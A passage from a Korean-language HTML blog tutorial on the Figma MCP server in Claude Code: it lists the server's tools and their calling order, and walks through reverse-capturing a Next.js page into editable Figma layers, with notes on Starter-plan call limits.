&lt;div style=&quot;background-color: #fff3cd; border-left: 4px solid #ffc107; padding: 15px; margin: 20px 0; border-radius: 0 8px 8px 0;&quot;&gt;&lt;b&gt;⚠️ 인증 성공 후 이런 메시지가 뜰 수 있다&lt;/b&gt;&lt;br /&gt;&lt;br /&gt;&lt;code&gt;Authentication successful, but server reconnection failed.&lt;br /&gt;You may need to manually restart Claude Code for the changes to take effect.&lt;/code&gt;&lt;br /&gt;&lt;br /&gt;인증 자체는 성공한 것이므로 당황하지 않아도 된다. Claude Code를 완전히 종료했다가 다시 실행하면 &lt;code&gt;/mcp&lt;/code&gt;에서 Figma가 &lt;b&gt;connected&lt;/b&gt; 상태로 표시된다.&lt;/div&gt;
&lt;!-- SCREENSHOT: Claude Code 재시작 후 /mcp에서 figma가 connected 상태로 표시된 화면 --&gt;
&lt;p style=&quot;margin-bottom: 15px;&quot; data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;!-- 3. 주요 Tools --&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;h2 style=&quot;font-size: 24px; color: #1a3a52; margin: 35px 0 20px; padding-bottom: 10px; border-bottom: 3px solid #cce5ff; font-weight: bold;&quot; data-ke-size=&quot;size26&quot;&gt;&lt;b&gt;3. 주요 Tools 소개&lt;/b&gt;&lt;/h2&gt;
&lt;p style=&quot;margin-bottom: 15px;&quot; data-ke-size=&quot;size16&quot;&gt;Figma MCP가 제공하는 Tool들은 디자인 정보를 단계적으로 읽어오도록 설계되어 있다. (출처: &lt;a href=&quot;https://developers.figma.com/docs/figma-mcp-server/tools-and-prompts/&quot; target=&quot;_blank&quot; rel=&quot;noopener&quot;&gt;Figma MCP Tools and prompts 공식 문서&lt;/a&gt;)&lt;/p&gt;
&lt;p style=&quot;margin-bottom: 15px;&quot; data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;h3 style=&quot;font-size: 20px; color: #1a3a52; margin: 25px 0 15px; font-weight: 600;&quot; data-ke-size=&quot;size23&quot;&gt;핵심 Tool 목록&lt;/h3&gt;
&lt;p style=&quot;margin-bottom: 15px;&quot; data-ke-size=&quot;size16&quot;&gt;Figma MCP는 총 13개의 Tool을 제공한다. 그 중 코드 생성 워크플로우에서 자주 쓰이는 핵심 Tool들을 먼저 살펴보자. (출처: &lt;a href=&quot;https://developers.figma.com/docs/figma-mcp-server/tools-and-prompts/&quot; target=&quot;_blank&quot; rel=&quot;noopener&quot;&gt;Figma MCP Tools and prompts 공식 문서&lt;/a&gt;)&lt;/p&gt;
&lt;div style=&quot;background-color: #f8f9fa; padding: 20px; border-radius: 8px; margin: 20px 0; border: 1px solid #e9ecef;&quot;&gt;
&lt;h4 style=&quot;color: #1a3a52; margin: 0 0 10px 0;&quot; data-ke-size=&quot;size20&quot;&gt;&lt;code style=&quot;background-color: #e8e8e8; padding: 2px 6px; border-radius: 4px;&quot;&gt;get_design_context&lt;/code&gt;&lt;/h4&gt;
&lt;p style=&quot;margin: 0 0 5px 0;&quot; data-ke-size=&quot;size16&quot;&gt;가장 핵심이 되는 Tool이다. 특정 노드(프레임, 컴포넌트, 레이어)의 상세 디자인 메타데이터를 가져온다. 컴포넌트 트리, 변수 바인딩, 레이아웃 제약, 스타일 정보가 포함된다.&lt;/p&gt;
&lt;p style=&quot;margin: 0; color: #666; font-size: 13px;&quot; data-ke-size=&quot;size16&quot;&gt;이 Tool을 가장 먼저 호출해야 한다. URL 또는 노드 ID를 인자로 전달한다.&lt;/p&gt;
&lt;/div&gt;
&lt;div style=&quot;background-color: #f8f9fa; padding: 20px; border-radius: 8px; margin: 20px 0; border: 1px solid #e9ecef;&quot;&gt;
&lt;h4 style=&quot;color: #1a3a52; margin: 0 0 10px 0;&quot; data-ke-size=&quot;size20&quot;&gt;&lt;code style=&quot;background-color: #e8e8e8; padding: 2px 6px; border-radius: 4px;&quot;&gt;get_screenshot&lt;/code&gt;&lt;/h4&gt;
&lt;p style=&quot;margin: 0 0 5px 0;&quot; data-ke-size=&quot;size16&quot;&gt;특정 노드의 스크린샷 이미지를 가져온다. 레이어 ID, 이름, 타입, 위치, 크기 같은 기본 속성도 함께 반환된다.&lt;/p&gt;
&lt;p style=&quot;margin: 0; color: #666; font-size: 13px;&quot; data-ke-size=&quot;size16&quot;&gt;&lt;code&gt;get_design_context&lt;/code&gt;로 구조를 파악한 후, 시각적 참조가 필요할 때 함께 사용한다.&lt;/p&gt;
&lt;/div&gt;
&lt;div style=&quot;background-color: #f8f9fa; padding: 20px; border-radius: 8px; margin: 20px 0; border: 1px solid #e9ecef;&quot;&gt;
&lt;h4 style=&quot;color: #1a3a52; margin: 0 0 10px 0;&quot; data-ke-size=&quot;size20&quot;&gt;&lt;code style=&quot;background-color: #e8e8e8; padding: 2px 6px; border-radius: 4px;&quot;&gt;get_metadata&lt;/code&gt;&lt;/h4&gt;
&lt;p style=&quot;margin: 0 0 5px 0;&quot; data-ke-size=&quot;size16&quot;&gt;&lt;code&gt;get_design_context&lt;/code&gt;의 응답이 너무 크거나 잘린 경우에 사용한다. 전체 파일의 고수준 노드 맵(노드 ID, 이름, 타입 목록)을 반환하며, 이후 필요한 노드만 선택적으로 &lt;code&gt;get_design_context&lt;/code&gt;로 다시 가져올 수 있다.&lt;/p&gt;
&lt;/div&gt;
&lt;div style=&quot;background-color: #f8f9fa; padding: 20px; border-radius: 8px; margin: 20px 0; border: 1px solid #e9ecef;&quot;&gt;
&lt;h4 style=&quot;color: #1a3a52; margin: 0 0 10px 0;&quot; data-ke-size=&quot;size20&quot;&gt;&lt;code style=&quot;background-color: #e8e8e8; padding: 2px 6px; border-radius: 4px;&quot;&gt;get_variable_defs&lt;/code&gt;&lt;/h4&gt;
&lt;p style=&quot;margin: 0 0 5px 0;&quot; data-ke-size=&quot;size16&quot;&gt;선택한 Figma 노드에서 사용된 변수와 스타일(색상, 간격, 타이포그래피 등)을 반환한다. 디자인 토큰을 코드의 CSS 변수나 테마 설정으로 변환할 때 유용하다.&lt;/p&gt;
&lt;/div&gt;
&lt;div style=&quot;background-color: #f8f9fa; padding: 20px; border-radius: 8px; margin: 20px 0; border: 1px solid #e9ecef;&quot;&gt;
&lt;h4 style=&quot;color: #1a3a52; margin: 0 0 10px 0;&quot; data-ke-size=&quot;size20&quot;&gt;&lt;code style=&quot;background-color: #e8e8e8; padding: 2px 6px; border-radius: 4px;&quot;&gt;get_code_connect_map&lt;/code&gt;&lt;/h4&gt;
&lt;p style=&quot;margin: 0 0 5px 0;&quot; data-ke-size=&quot;size16&quot;&gt;Figma 노드 ID와 실제 코드베이스의 컴포넌트를 매핑한다. Code Connect가 설정된 경우, AI가 새로운 컴포넌트를 만들지 않고 기존 코드 컴포넌트를 재사용하도록 안내한다.&lt;/p&gt;
&lt;/div&gt;
&lt;div style=&quot;background-color: #f8f9fa; padding: 20px; border-radius: 8px; margin: 20px 0; border: 1px solid #e9ecef;&quot;&gt;
&lt;h4 style=&quot;color: #1a3a52; margin: 0 0 10px 0;&quot; data-ke-size=&quot;size20&quot;&gt;&lt;code style=&quot;background-color: #e8e8e8; padding: 2px 6px; border-radius: 4px;&quot;&gt;create_design_system_rules&lt;/code&gt;&lt;/h4&gt;
&lt;p style=&quot;margin: 0 0 5px 0;&quot; data-ke-size=&quot;size16&quot;&gt;AI가 디자인을 프론트엔드 코드로 변환할 때 참조할 규칙 파일을 생성한다. 디자인 시스템 일관성을 유지하는 데 도움을 준다.&lt;/p&gt;
&lt;/div&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;h3 style=&quot;font-size: 20px; color: #1a3a52; margin: 25px 0 15px; font-weight: 600;&quot; data-ke-size=&quot;size23&quot;&gt;전체 Tool 목록 (13개)&lt;/h3&gt;
&lt;div style=&quot;background-color: #f8f9fa; padding: 20px; border-radius: 8px; margin: 20px 0; border: 1px solid #e9ecef;&quot;&gt;
&lt;table style=&quot;width: 100%; border-collapse: collapse; font-size: 14px;&quot; data-ke-align=&quot;alignLeft&quot;&gt;
&lt;thead&gt;
&lt;tr style=&quot;background-color: #0066cc; color: white;&quot;&gt;
&lt;th style=&quot;padding: 10px; text-align: left; border: 1px solid #dee2e6;&quot;&gt;Tool명&lt;/th&gt;
&lt;th style=&quot;padding: 10px; text-align: left; border: 1px solid #dee2e6;&quot;&gt;설명&lt;/th&gt;
&lt;th style=&quot;padding: 10px; text-align: left; border: 1px solid #dee2e6;&quot;&gt;비고&lt;/th&gt;
&lt;/tr&gt;
&lt;/thead&gt;
&lt;tbody&gt;
&lt;tr&gt;
&lt;td style=&quot;padding: 8px; border: 1px solid #dee2e6;&quot;&gt;&lt;code&gt;get_design_context&lt;/code&gt;&lt;/td&gt;
&lt;td style=&quot;padding: 8px; border: 1px solid #dee2e6;&quot;&gt;노드의 상세 디자인 메타데이터 획득&lt;/td&gt;
&lt;td style=&quot;padding: 8px; border: 1px solid #dee2e6;&quot;&gt;핵심 Tool&lt;/td&gt;
&lt;/tr&gt;
&lt;tr style=&quot;background-color: #f8f9fa;&quot;&gt;
&lt;td style=&quot;padding: 8px; border: 1px solid #dee2e6;&quot;&gt;&lt;code&gt;get_screenshot&lt;/code&gt;&lt;/td&gt;
&lt;td style=&quot;padding: 8px; border: 1px solid #dee2e6;&quot;&gt;노드 스크린샷 이미지 획득&lt;/td&gt;
&lt;td style=&quot;padding: 8px; border: 1px solid #dee2e6;&quot;&gt;&amp;nbsp;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td style=&quot;padding: 8px; border: 1px solid #dee2e6;&quot;&gt;&lt;code&gt;get_metadata&lt;/code&gt;&lt;/td&gt;
&lt;td style=&quot;padding: 8px; border: 1px solid #dee2e6;&quot;&gt;고수준 노드 맵(ID, 이름, 타입) 반환&lt;/td&gt;
&lt;td style=&quot;padding: 8px; border: 1px solid #dee2e6;&quot;&gt;&amp;nbsp;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr style=&quot;background-color: #f8f9fa;&quot;&gt;
&lt;td style=&quot;padding: 8px; border: 1px solid #dee2e6;&quot;&gt;&lt;code&gt;get_variable_defs&lt;/code&gt;&lt;/td&gt;
&lt;td style=&quot;padding: 8px; border: 1px solid #dee2e6;&quot;&gt;디자인 변수/토큰 반환&lt;/td&gt;
&lt;td style=&quot;padding: 8px; border: 1px solid #dee2e6;&quot;&gt;&amp;nbsp;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td style=&quot;padding: 8px; border: 1px solid #dee2e6;&quot;&gt;&lt;code&gt;get_code_connect_map&lt;/code&gt;&lt;/td&gt;
&lt;td style=&quot;padding: 8px; border: 1px solid #dee2e6;&quot;&gt;Figma 노드 &amp;harr; 코드 컴포넌트 매핑 조회&lt;/td&gt;
&lt;td style=&quot;padding: 8px; border: 1px solid #dee2e6;&quot;&gt;&amp;nbsp;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr style=&quot;background-color: #f8f9fa;&quot;&gt;
&lt;td style=&quot;padding: 8px; border: 1px solid #dee2e6;&quot;&gt;&lt;code&gt;add_code_connect_map&lt;/code&gt;&lt;/td&gt;
&lt;td style=&quot;padding: 8px; border: 1px solid #dee2e6;&quot;&gt;Figma 노드 &amp;harr; 코드 컴포넌트 매핑 추가&lt;/td&gt;
&lt;td style=&quot;padding: 8px; border: 1px solid #dee2e6;&quot;&gt;&amp;nbsp;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td style=&quot;padding: 8px; border: 1px solid #dee2e6;&quot;&gt;&lt;code&gt;get_code_connect_suggestions&lt;/code&gt;&lt;/td&gt;
&lt;td style=&quot;padding: 8px; border: 1px solid #dee2e6;&quot;&gt;Code Connect 매핑 후보 제안&lt;/td&gt;
&lt;td style=&quot;padding: 8px; border: 1px solid #dee2e6;&quot;&gt;&amp;nbsp;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr style=&quot;background-color: #f8f9fa;&quot;&gt;
&lt;td style=&quot;padding: 8px; border: 1px solid #dee2e6;&quot;&gt;&lt;code&gt;send_code_connect_mappings&lt;/code&gt;&lt;/td&gt;
&lt;td style=&quot;padding: 8px; border: 1px solid #dee2e6;&quot;&gt;제안된 Code Connect 매핑 확정&lt;/td&gt;
&lt;td style=&quot;padding: 8px; border: 1px solid #dee2e6;&quot;&gt;&amp;nbsp;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td style=&quot;padding: 8px; border: 1px solid #dee2e6;&quot;&gt;&lt;code&gt;create_design_system_rules&lt;/code&gt;&lt;/td&gt;
&lt;td style=&quot;padding: 8px; border: 1px solid #dee2e6;&quot;&gt;디자인&amp;rarr;코드 변환 규칙 파일 생성&lt;/td&gt;
&lt;td style=&quot;padding: 8px; border: 1px solid #dee2e6;&quot;&gt;&amp;nbsp;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr style=&quot;background-color: #f8f9fa;&quot;&gt;
&lt;td style=&quot;padding: 8px; border: 1px solid #dee2e6;&quot;&gt;&lt;code&gt;get_figjam&lt;/code&gt;&lt;/td&gt;
&lt;td style=&quot;padding: 8px; border: 1px solid #dee2e6;&quot;&gt;FigJam 다이어그램을 XML로 변환&lt;/td&gt;
&lt;td style=&quot;padding: 8px; border: 1px solid #dee2e6;&quot;&gt;&amp;nbsp;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td style=&quot;padding: 8px; border: 1px solid #dee2e6;&quot;&gt;&lt;code&gt;generate_diagram&lt;/code&gt;&lt;/td&gt;
&lt;td style=&quot;padding: 8px; border: 1px solid #dee2e6;&quot;&gt;Mermaid 구문으로 FigJam 다이어그램 생성&lt;/td&gt;
&lt;td style=&quot;padding: 8px; border: 1px solid #dee2e6;&quot;&gt;&amp;nbsp;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr style=&quot;background-color: #f8f9fa;&quot;&gt;
&lt;td style=&quot;padding: 8px; border: 1px solid #dee2e6;&quot;&gt;&lt;code&gt;generate_figma_design&lt;/code&gt;&lt;/td&gt;
&lt;td style=&quot;padding: 8px; border: 1px solid #dee2e6;&quot;&gt;웹앱 UI를 Figma 디자인 레이어로 역변환&lt;/td&gt;
&lt;td style=&quot;padding: 8px; border: 1px solid #dee2e6;&quot;&gt;원격 서버 전용&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td style=&quot;padding: 8px; border: 1px solid #dee2e6;&quot;&gt;&lt;code&gt;whoami&lt;/code&gt;&lt;/td&gt;
&lt;td style=&quot;padding: 8px; border: 1px solid #dee2e6;&quot;&gt;인증된 사용자 정보 반환 (플랜, 시트 포함)&lt;/td&gt;
&lt;td style=&quot;padding: 8px; border: 1px solid #dee2e6;&quot;&gt;원격 서버 전용&lt;/td&gt;
&lt;/tr&gt;
&lt;/tbody&gt;
&lt;/table&gt;
&lt;/div&gt;
&lt;div style=&quot;background-color: #e8f4f8; border-left: 4px solid #0066cc; padding: 15px; margin: 20px 0; border-radius: 0 8px 8px 0;&quot;&gt;&lt;b&gt;권장 Tool 호출 순서&lt;/b&gt;&lt;br /&gt;1. &lt;code&gt;get_design_context&lt;/code&gt; &amp;mdash; 상세 메타데이터 획득&lt;br /&gt;2. (응답이 너무 클 경우) &lt;code&gt;get_metadata&lt;/code&gt; &amp;rarr; 필요한 노드만 다시 &lt;code&gt;get_design_context&lt;/code&gt;&lt;br /&gt;3. &lt;code&gt;get_screenshot&lt;/code&gt; &amp;mdash; 시각적 참조 이미지 확보&lt;br /&gt;4. 필요 시 &lt;code&gt;get_variable_defs&lt;/code&gt;로 디자인 토큰 확인&lt;br /&gt;5. 위 정보를 바탕으로 코드 생성 시작&lt;/div&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;div style=&quot;background-color: #f0f7ff; padding: 20px; border-radius: 8px; margin: 20px 0; border: 2px solid #0066cc;&quot;&gt;
&lt;h4 style=&quot;color: #0066cc; margin: 0 0 12px 0;&quot; data-ke-size=&quot;size20&quot;&gt;&lt;code style=&quot;background-color: #e8e8e8; padding: 2px 6px; border-radius: 4px;&quot;&gt;generate_figma_design&lt;/code&gt; &amp;mdash; 역방향 워크플로우의 핵심&lt;/h4&gt;
&lt;p style=&quot;margin: 0 0 10px 0;&quot; data-ke-size=&quot;size16&quot;&gt;지금까지 소개한 Tool들이 Figma &amp;rarr; Code 방향이라면, &lt;code&gt;generate_figma_design&lt;/code&gt;은 반대 방향이다. &lt;b&gt;이미 만들어진 웹 페이지(localhost 또는 외부 URL)를 Figma 편집 가능 레이어로 역변환&lt;/b&gt;한다. 단순 스크린샷이 아니라 컴포넌트 구조가 레이어로 분리된 편집 가능한 Figma 파일이 생성된다.&lt;/p&gt;
&lt;p style=&quot;margin: 0 0 10px 0;&quot; data-ke-size=&quot;size16&quot;&gt;&lt;b&gt;동작 방식:&lt;/b&gt;&lt;/p&gt;
&lt;ol style=&quot;margin: 0 0 10px 0; padding-left: 20px; line-height: 2;&quot; data-ke-list-type=&quot;decimal&quot;&gt;
&lt;li&gt;&lt;code&gt;generate_figma_design()&lt;/code&gt; 호출 &amp;rarr; captureId 발행&lt;/li&gt;
&lt;li&gt;브라우저가 열리거나 지정한 URL에서 캡처 스크립트 실행&lt;/li&gt;
&lt;li&gt;폴링으로 캡처 완료 대기&lt;/li&gt;
&lt;li&gt;Figma 파일 생성 (편집 가능한 레이어 구조)&lt;/li&gt;
&lt;/ol&gt;
&lt;p style=&quot;margin: 0 0 8px 0;&quot; data-ke-size=&quot;size16&quot;&gt;&lt;b&gt;outputMode 옵션:&lt;/b&gt;&lt;/p&gt;
&lt;div style=&quot;background-color: #1e1e1e; color: #d4d4d4; padding: 14px; border-radius: 6px; font-family: 'Fira Code', 'Consolas', monospace; font-size: 13px; margin: 0 0 10px 0;&quot;&gt;
&lt;pre class=&quot;properties&quot; style=&quot;margin: 0; white-space: pre-wrap;&quot;&gt;&lt;code&gt;newFile      &amp;rarr; 새 Figma 파일로 생성 (기본값)
existingFile &amp;rarr; 기존 Figma 파일에 추가
clipboard    &amp;rarr; 클립보드에 복사 (Figma에서 직접 붙여넣기)&lt;/code&gt;&lt;/pre&gt;
&lt;/div&gt;
&lt;p style=&quot;margin: 0; font-size: 13px; color: #c0392b;&quot; data-ke-size=&quot;size16&quot;&gt;&lt;b&gt;⚠️ Starter 플랜 주의:&lt;/b&gt; 캡처 1회 실행 시 &lt;code&gt;whoami&lt;/code&gt; 1회 + &lt;code&gt;generate_figma_design&lt;/code&gt; 약 3회 = 총 4회 Tool 호출 소모. 월 6회 한도의 대부분이 한 번의 캡처에 소진될 수 있다.&lt;/p&gt;
&lt;/div&gt;
&lt;!-- 4. 실전 활용 --&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;h2 style=&quot;font-size: 24px; color: #1a3a52; margin: 35px 0 20px; padding-bottom: 10px; border-bottom: 3px solid #cce5ff; font-weight: bold;&quot; data-ke-size=&quot;size26&quot;&gt;&lt;b&gt;4. 활용 예시&lt;/b&gt;&lt;/h2&gt;
&lt;p style=&quot;margin-bottom: 15px;&quot; data-ke-size=&quot;size16&quot;&gt;어떻게 하면 예시를 통해 이 글의 이해도를 높일 수 있을까 고민했는데 내 실제 바이브 코딩용 사이트를 예시로 사용해볼까 고민 하였다. 이렇게 진행하다보니 정방향이 아닌 역방향 엔지니어링과 같이 처음부터 진행하는게 아닌 이미 있는 사이트를 다시 figma로 관리하는 것 같은 예시가 될수도 있을 것 같다.&lt;/p&gt;
&lt;p style=&quot;margin-bottom: 15px;&quot; data-ke-size=&quot;size16&quot;&gt;ex) goddaehee.co.kr&lt;/p&gt;
&lt;figure class=&quot;imageblock alignLeft&quot; data-ke-mobileStyle=&quot;widthOrigin&quot; data-origin-width=&quot;2550&quot; data-origin-height=&quot;1868&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/bCzjS4/dJMcad2hXlk/FFiDw3oP9EQMsKNhCyHZ3K/img.png&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/bCzjS4/dJMcad2hXlk/FFiDw3oP9EQMsKNhCyHZ3K/img.png&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/bCzjS4/dJMcad2hXlk/FFiDw3oP9EQMsKNhCyHZ3K/img.png&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2FbCzjS4%2FdJMcad2hXlk%2FFFiDw3oP9EQMsKNhCyHZ3K%2Fimg.png&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot; loading=&quot;lazy&quot; width=&quot;2550&quot; height=&quot;1868&quot; data-origin-width=&quot;2550&quot; data-origin-height=&quot;1868&quot;/&gt;&lt;/span&gt;&lt;/figure&gt;

&lt;p style=&quot;margin-bottom: 15px;&quot; data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p style=&quot;margin-bottom: 15px;&quot; data-ke-size=&quot;size16&quot;&gt;실제 Next.js 프로젝트를 Figma로 역캡처한 뒤, 그 결과물로 Figma&amp;rarr;Code 변환까지 실습하는 양방향 흐름을 따라가 보려고 한다. Hub 프로젝트(Next.js, ServiceCard 그리드, 카테고리 필터 기반)를 예시로 사용해보려 한다.&lt;/p&gt;
&lt;p style=&quot;margin-bottom: 15px;&quot; data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;!-- SCREENSHOT: Claude Code에서 /mcp 명령어로 figma 항목이 connected 상태로 표시된 화면 --&gt;
&lt;h3 style=&quot;font-size: 20px; color: #1a3a52; margin: 25px 0 15px; font-weight: 600;&quot; data-ke-size=&quot;size23&quot;&gt;Figma URL에서 파일 키와 노드 ID 추출하기&lt;/h3&gt;
&lt;p style=&quot;margin-bottom: 15px;&quot; data-ke-size=&quot;size16&quot;&gt;Figma MCP에 URL을 전달할 때 구조를 이해하면 특정 노드를 정확히 지정할 수 있다. Figma URL의 형식은 다음과 같다.&lt;/p&gt;
&lt;div style=&quot;background-color: #1e1e1e; color: #d4d4d4; padding: 20px; border-radius: 8px; font-family: 'Fira Code', 'Consolas', monospace; font-size: 14px; border: 1px solid #333; margin: 20px 0;&quot;&gt;
&lt;div style=&quot;color: #6a9955; margin-bottom: 8px;&quot;&gt;# Figma URL 구조&lt;/div&gt;
&lt;pre class=&quot;crmsh&quot; style=&quot;margin: 0; white-space: pre-wrap;&quot;&gt;&lt;code&gt;https://www.figma.com/design/[파일키]/[파일명]?node-id=[노드ID]

예시:
https://www.figma.com/design/AbCdEfGhIjKl1234/MyDesign?node-id=1%3A234

파일 키: AbCdEfGhIjKl1234  &amp;larr; /design/ 뒤의 값
노드 ID: 1:234             &amp;larr; node-id= 뒤의 값 (%3A는 콜론 : 의 URL 인코딩)&lt;/code&gt;&lt;/pre&gt;
&lt;/div&gt;
&lt;div style=&quot;background-color: #e8f4f8; border-left: 4px solid #0066cc; padding: 15px; margin: 20px 0; border-radius: 0 8px 8px 0;&quot;&gt;&lt;b&gt;노드 URL 복사 방법&lt;/b&gt;&lt;br /&gt;Figma에서 특정 레이어나 프레임을 선택한 뒤 우클릭 &amp;rarr; &lt;b&gt;Copy/Paste as &amp;rarr; Copy link&lt;/b&gt;를 누르면 해당 노드의 URL이 클립보드에 복사된다. 이 URL을 그대로 Claude에게 붙여넣으면 된다.&lt;/div&gt;
&lt;!-- SCREENSHOT: Figma에서 프레임 우클릭 → Copy link 메뉴를 선택하는 화면 --&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;h3 style=&quot;font-size: 20px; color: #1a3a52; margin: 25px 0 15px; font-weight: 600;&quot; data-ke-size=&quot;size23&quot;&gt;예시 1: 기존 웹앱을 Figma로 역캡처&lt;/h3&gt;
&lt;p style=&quot;margin-bottom: 15px;&quot; data-ke-size=&quot;size16&quot;&gt;먼저 이미 만들어진 Next.js 프로젝트를 Figma로 역캡처해보자. 개발 먼저 하고 Figma 자산을 나중에 정리하거나, 레거시 UI를 Figma로 옮기는 상황에 유용하다. 이 예시에서 생성된 Figma 파일이 이후 예시들의 기반이 된다.&lt;/p&gt;
&lt;div style=&quot;background: #f0f7ff; border-left: 4px solid #1a73e8; padding: 1em 1.2em; margin: 1em 0; border-radius: 4px;&quot;&gt;
&lt;p style=&quot;margin: 0;&quot; data-ke-size=&quot;size16&quot;&gt;&lt;b&gt;사용자:&lt;/b&gt; 내 Next.js 프로젝트의 /hub 페이지를 Figma로 캡처해줘. 새 파일로 만들어줘.&lt;/p&gt;
&lt;/div&gt;
&lt;p style=&quot;margin-bottom: 10px;&quot; data-ke-size=&quot;size16&quot;&gt;Claude는 내부적으로 아래 순서로 Tool을 호출한다.&lt;/p&gt;
&lt;div style=&quot;background-color: #1e1e1e; color: #d4d4d4; padding: 20px; border-radius: 8px; font-family: 'Fira Code', 'Consolas', monospace; font-size: 14px; border: 1px solid #333; margin: 20px 0;&quot;&gt;
&lt;div style=&quot;color: #6a9955; margin-bottom: 8px;&quot;&gt;# 내부 Tool 호출 흐름&lt;/div&gt;
&lt;pre class=&quot;routeros&quot; style=&quot;margin: 0; white-space: pre-wrap;&quot;&gt;&lt;code&gt;1. whoami()
   &amp;rarr; 플랜 확인 (Starter/Professional), Tool 호출 한도 체크

2. generate_figma_design(outputMode: &quot;newFile&quot;, fileName: &quot;Hub-Design&quot;)
   &amp;rarr; captureId 발행
   &amp;rarr; 캡처 스크립트를 layout.tsx &amp;lt;head&amp;gt;에 임시 추가 요청

3. 브라우저에서 지정된 hash URL로 /hub 페이지 열기
   &amp;rarr; 캡처 스크립트가 실행되어 DOM 구조 전송

4. generate_figma_design(captureId: &quot;abc123...&quot;)  &amp;larr; 폴링 (최대 수회)
   &amp;rarr; 완료 시 Figma 파일 URL 반환&lt;/code&gt;&lt;/pre&gt;
&lt;/div&gt;
&lt;div style=&quot;background: #f0fff0; border-left: 4px solid #28a745; padding: 1em 1.2em; margin: 1em 0; border-radius: 4px;&quot;&gt;
&lt;p style=&quot;margin: 0 0 8px 0;&quot; data-ke-size=&quot;size16&quot;&gt;&lt;b&gt;Claude 응답 (요약):&lt;/b&gt;&lt;/p&gt;
&lt;p style=&quot;margin: 0 0 5px 0;&quot; data-ke-size=&quot;size16&quot;&gt;/hub 페이지를 Figma로 캡처했습니다. 아래 Figma 파일에서 확인하실 수 있습니다:&lt;/p&gt;
&lt;p style=&quot;margin: 0 0 5px 0;&quot; data-ke-size=&quot;size16&quot;&gt;&lt;a href=&quot;https://www.figma.com/design/qXsGdXcWtoumOjynB2NnRS&quot; target=&quot;_blank&quot; rel=&quot;noopener&quot;&gt;https://www.figma.com/design/qXsGdXcWtoumOjynB2NnRS&lt;/a&gt;&lt;/p&gt;
&lt;p style=&quot;margin: 5px 0 0 0;&quot; data-ke-size=&quot;size16&quot;&gt;layout.tsx에 임시로 추가한 캡처 스크립트는 제거했습니다.&lt;/p&gt;
&lt;/div&gt;
&lt;!-- SCREENSHOT: Hub 페이지 Figma 캡처 결과 — Figma 레이어 패널에 ServiceCard 그리드, Badge, 카테고리 필터 등이 분리된 화면 --&gt; &lt;!-- SCREENSHOT: Claude Code에서 generate_figma_design 호출 흐름이 표시된 터미널 화면 --&gt;
&lt;div style=&quot;background-color: #e8f4f8; border-left: 4px solid #0066cc; padding: 15px; margin: 20px 0; border-radius: 0 8px 8px 0;&quot;&gt;&lt;b&gt;핵심 포인트: 단순 이미지가 아닌 편집 가능한 레이어&lt;/b&gt;&lt;br /&gt;캡처 결과는 스크린샷 이미지가 아니다. Figma를 열면 ServiceCard 그리드, Badge, 카테고리 탭 등이 &lt;b&gt;개별 레이어로 분리&lt;/b&gt;되어 편집 가능한 상태로 생성된다. 이 Figma 파일을 다시 &lt;code&gt;get_design_context&lt;/code&gt;로 읽어 코드를 개선하거나, 디자이너에게 전달해 피드백을 받는 양방향 워크플로우가 가능해진다.&lt;/div&gt;
&lt;div style=&quot;background-color: #fff3cd; border-left: 4px solid #ffc107; padding: 15px; margin: 20px 0; border-radius: 0 8px 8px 0;&quot;&gt;&lt;b&gt;⚠️ Starter 플랜 호출 비용 분석&lt;/b&gt;&lt;br /&gt;캡처 1회에 소모되는 Tool 호출 횟수:
&lt;ul style=&quot;margin: 8px 0 0 0; padding-left: 20px;&quot; data-ke-list-type=&quot;disc&quot;&gt;
&lt;li&gt;&lt;code&gt;whoami&lt;/code&gt;: 1회&lt;/li&gt;
&lt;li&gt;&lt;code&gt;generate_figma_design&lt;/code&gt; (captureId 발행 + 폴링): 약 3회&lt;/li&gt;
&lt;li&gt;&lt;b&gt;합계: 약 4회&lt;/b&gt; &amp;rarr; 월 6회 한도의 약 67% 소진&lt;/li&gt;
&lt;/ul&gt;
Starter 플랜에서 역캡처를 1~2회 이상 시도하면 한도를 초과할 수 있다. 적극적으로 활용할 계획이라면 유료 플랜이 필요하다.&lt;/div&gt;
&lt;p style=&quot;margin-bottom: 15px;&quot; data-ke-size=&quot;size16&quot;&gt;ex) 생성 결과&lt;/p&gt;
